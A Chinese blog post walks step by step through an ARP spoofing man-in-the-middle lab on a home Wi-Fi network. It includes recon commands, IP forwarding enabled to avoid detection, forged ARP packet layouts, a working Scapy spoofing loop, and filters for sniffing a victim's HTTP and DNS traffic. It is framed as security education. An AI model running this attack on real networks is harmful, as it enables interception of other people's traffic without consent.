深入解析:ARP欺骗实战:从零到一的中间人攻击实验记录

引言

在网络安全领域,ARP欺骗(ARP Spoofing)是一种经典的中间人攻击(Man-in-the-Middle)技术。今天,我将通过实际操作,带大家深入了解ARP欺骗的原理、实施步骤以及防御方法。本次实验旨在教育目的,帮助安全爱好者理解网络安全的攻防对抗。

实验环境

网络拓扑

通过cmd命令行ipconfig,getmac,ping等指令找到我的,网关的,还有受害者的ip和mac地址

硬件信息

  • 攻击机:Windows 11,Intel Wi-Fi 6 AX201 无线网卡

  • 工具软件:科来数据包生成器、Wireshark

  • 网络环境:家庭WiFi网络(连接到同一热点上

  • 理论基础

    ARP协议回顾

    ARP(Address Resolution Protocol)用于将IP地址解析为MAC地址。在局域网中,当设备A需要与设备B通信时,A会广播ARP请求:"谁的IP是B?请告诉A"。设备B收到后回复ARP响应:"我是B,我的MAC是X"。

    ARP欺骗原理

    ARP协议没有身份验证机制,攻击者可以发送伪造的ARP响应包,欺骗目标设备更新ARP缓存表,从而实现:

  • 流量重定向:目标流量经过攻击者

  • 会话劫持:拦截和修改通信内容

  • 拒绝服务:使目标无法上网

  • 实战操作记录

  • 第一步:信息收集

    在攻击前,需要收集目标网络的关键信息:

  • # 1. 获取自身网络配置
    ipconfig
    # 输出:IP=192.168.189.39,网关=192.168.189.9
  • # 2. 发现目标主机(这里我是通过Nmap找到的对方主机)
    ping 192.168.189.19
  • # 3. 获取目标MAC地址
    arp -a | findstr 192.168.189.194
    输出格式应为xx-xx-xx-xx-xx-xx格式(mac地址)
  • # 4. 获取网关MAC地址
    ping 192.168.189.9
    arp -a | findstr 192.168.189.9
  • # 5. 确认自身MAC地址
    getmac /v
  • 第二步:开启IP转发

    为了让目标能正常上网(避免断网引起怀疑),需要开启IP转发:

    cmd

    # 以管理员身份运行
    netsh interface ipv4 set interface "WLAN" forwarding=enabled
  • 没有这一步对方无法正常上网,但我们可以正常抓包
  • 第三步:构造ARP欺骗包

    使用科来数据包生成器创建两个ARP欺骗包:

  • 一个一个点击修改就行,操作类型都是2

  • 数据包1:欺骗目标主机
  • 以太网头部:
      目的MAC:XX:XX:XX:XX:XX:XX(受害者mac)
      源MAC:XX:XX:XX:XX:XX:XX(我的mac)
      类型:0x0806 (ARP)

    ARP协议:
      操作码:0x0002 (ARP响应)
      发送方MAC:XX:XX:XX:XX:XX:XX(我的mac)
      发送方IP:192.168.189.9    ← 伪装成网关
      目标MAC:XX:XX:XX:XX:XX:XX(受害者mac)
      目标IP:192.168.189.194

  • 数据包2:
  • 以太网头部:
      目的MAC:XX:XX:XX:XX:XX:XX(网关mac)
      源MAC:XX:XX:XX:XX:XX:XX(我的mac)
      类型:0x0806

    ARP协议:
      操作码:0x0002 (ARP响应)
      发送方MAC:XX:XX:XX:XX:XX:XX(我的mac)
      发送方IP:192.168.189.194  ← 伪装成目标
      目标MAC:XX:XX:XX:XX:XX:XX(网关mac)
      目标IP:192.168.189.9

  • 第四步:发送欺骗包

    配置科来数据包播放器(把刚刚配好的数据包文件添加到里面):

  • 网卡选择:WLAN无线网卡(Microsoft)

  • 播放模式:循环发送

  • 间隔时间:200-400ms左右

  • 次数:0(无限循环)

  • 点击"开始"发送

  • 第五步:验证攻击效果

    在Wireshark中监控:
  • # 过滤器查看ARP欺骗包
    输入过滤规则arp(这里我多写了ip.addr==,不影响,只截取了arp部分)

在目标主机上验证:

cmd

arp -a
# 应显示:
# 192.168.189.9    (我的mac地址)    动态

则成功目标的ARP表中,网关的MAC地址已被替换为攻击者的MAC地址。

第六步:流量嗅探

现在所有目标流量都经过攻击者。打开Wireshark,设置过滤器:

# 查看目标的HTTP流量(如果访问HTTP网站)
http and ip.addr == 192.168.189.194

# 查看目标的DNS查询
dns and ip.addr == 192.168.189.194

# 查看所有目标流量
ip.addr == 192.168.189.194

技术难点与解决方案

难点1:无线网络限制

问题:无线网络相比有线网络更难进行ARP欺骗
解决

  • 确保信号强度良好

  • 增加发送间隔(200-500ms)

  • 检查路由器是否开启MAC过滤

难点2:工具兼容性问题

问题:科来数据包生成器无法识别无线网卡
解决

  • 以管理员身份运行程序

  • 安装Npcap替代WinPcap

  • 或使用替代工具(Python+Scapy)

  • Python替代方案(推荐)

from scapy.all import *
import time
def arp_spoof():
    your_mac = "你的mac"
    target_ip = "192.168.189.194"
    target_mac = "目标mac"
    gateway_ip = "192.168.189.9"
    gateway_mac = "网关mac"
    # 欺骗目标
    packet1 = Ether(dst=target_mac, src=your_mac) / \
              ARP(op=2, hwsrc=your_mac, psrc=gateway_ip,
                  hwdst=target_mac, pdst=target_ip)
    # 欺骗网关
    packet2 = Ether(dst=gateway_mac, src=your_mac) / \
              ARP(op=2, hwsrc=your_mac, psrc=target_ip,
                  hwdst=gateway_mac, pdst=gateway_ip)
    print("开始ARP欺骗...")
    while True:
        sendp(packet1, verbose=0)
        sendp(packet2, verbose=0)
        time.sleep(0.1)

实验总结

成功指标

  1. 目标ARP表被成功污染

  2. 能捕获到目标网络流量

  3. 目标上网正常(IP转发开启)

失败原因分析

  1. 无线AP的ARP防护功能

  2. 目标使用静态ARP绑定(配置文件里强行锁定,无法更改)

  3. 网络设备的安全配置(记得关防火墙)

伦理与法律

重要提醒

  1. 仅在自己的网络或授权环境中测试

  2. 不得在未经同意的情况下攻击他人网络

  3. 学习目的是为了更好的防御

    posted @ 2026-01-07 11:54  gccbuaa  阅读(123)  评论(0)    收藏  举报